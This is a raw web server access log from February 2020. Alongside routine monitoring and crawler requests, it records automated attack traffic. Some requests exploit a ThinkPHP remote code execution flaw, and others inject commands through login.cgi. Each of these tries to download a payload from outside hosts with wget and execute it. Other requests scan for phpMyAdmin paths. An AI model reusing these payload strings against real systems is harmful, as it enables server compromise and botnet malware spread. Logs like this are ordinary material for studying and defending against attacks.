217.6.234.90 - - [10/Feb/2020:14:21:24 +0100] "GET /favicon.ico HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
212.91.246.72 - - [10/Feb/2020:14:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.114.101.85 - - [10/Feb/2020:14:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
179.111.124.198 - - [10/Feb/2020:14:23:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.176.227 - - [10/Feb/2020:14:23:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.220.87 - - [10/Feb/2020:14:24:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.60.123.74 - - [10/Feb/2020:14:27:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.171.190 - - [10/Feb/2020:14:27:54 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.119.171.190 - - [10/Feb/2020:14:27:55 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.119.171.190 - - [10/Feb/2020:14:27:55 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
212.91.246.72 - - [10/Feb/2020:14:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.252.118.44 - - [10/Feb/2020:14:28:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.119.193.191 - - [10/Feb/2020:14:29:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
2.133.77.200 - - [10/Feb/2020:14:30:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.208.19 - - [10/Feb/2020:14:32:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [10/Feb/2020:14:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
222.186.209.130 - - [10/Feb/2020:14:33:31 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:32 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.209.130 - - [10/Feb/2020:14:33:32 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:33 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:33 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:35 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:36 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:37 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:38 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:39 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:39 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:41 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:41 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:33:43 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.168.22.207 - - [10/Feb/2020:14:34:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:14:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.177.1 - - [10/Feb/2020:14:37:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.99.6.12 - - [10/Feb/2020:14:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:14:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.23.114 - - [10/Feb/2020:14:39:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.209.130 - - [10/Feb/2020:14:41:00 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:41:00 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:41:02 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:41:04 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:41:04 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:41:05 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:41:08 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.209.130 - - [10/Feb/2020:14:43:12 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:13 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:14 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:14 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:16 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:16 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:16 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:17 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:17 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:18 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:19 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:20 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:20 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:21 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:21 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:22 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:22 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:23 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:23 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:43:24 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
46.225.118.71 - - [10/Feb/2020:14:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.225.118.71 - - [10/Feb/2020:14:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
46.225.118.71 - - [10/Feb/2020:14:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.41.185.191 - - [10/Feb/2020:14:43:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.209.130 - - [10/Feb/2020:14:45:58 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:46:00 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
222.186.209.130 - - [10/Feb/2020:14:46:01 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.209.130 - - [10/Feb/2020:14:46:32 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
167.114.172.224 - - [10/Feb/2020:14:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
222.186.209.130 - - [10/Feb/2020:14:46:34 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
167.114.172.224 - - [10/Feb/2020:14:46:35 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.172.224 - - [10/Feb/2020:14:46:35 +0100] "GET /sitemap.xml HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
222.186.209.130 - - [10/Feb/2020:14:46:36 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
167.114.172.224 - - [10/Feb/2020:14:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.172.224 - - [10/Feb/2020:14:46:37 +0100] "GET /ads.txt HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.172.224 - - [10/Feb/2020:14:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-G925F Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.38 - - [10/Feb/2020:14:47:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:14:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.159.88.101 - - [10/Feb/2020:14:50:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
211.192.180.178 - - [10/Feb/2020:14:50:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [10/Feb/2020:14:50:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [10/Feb/2020:14:50:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:14:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [10/Feb/2020:14:50:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [10/Feb/2020:14:51:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:14:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [10/Feb/2020:14:53:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [10/Feb/2020:14:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.102.53.66 - - [10/Feb/2020:14:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:14:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:14:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
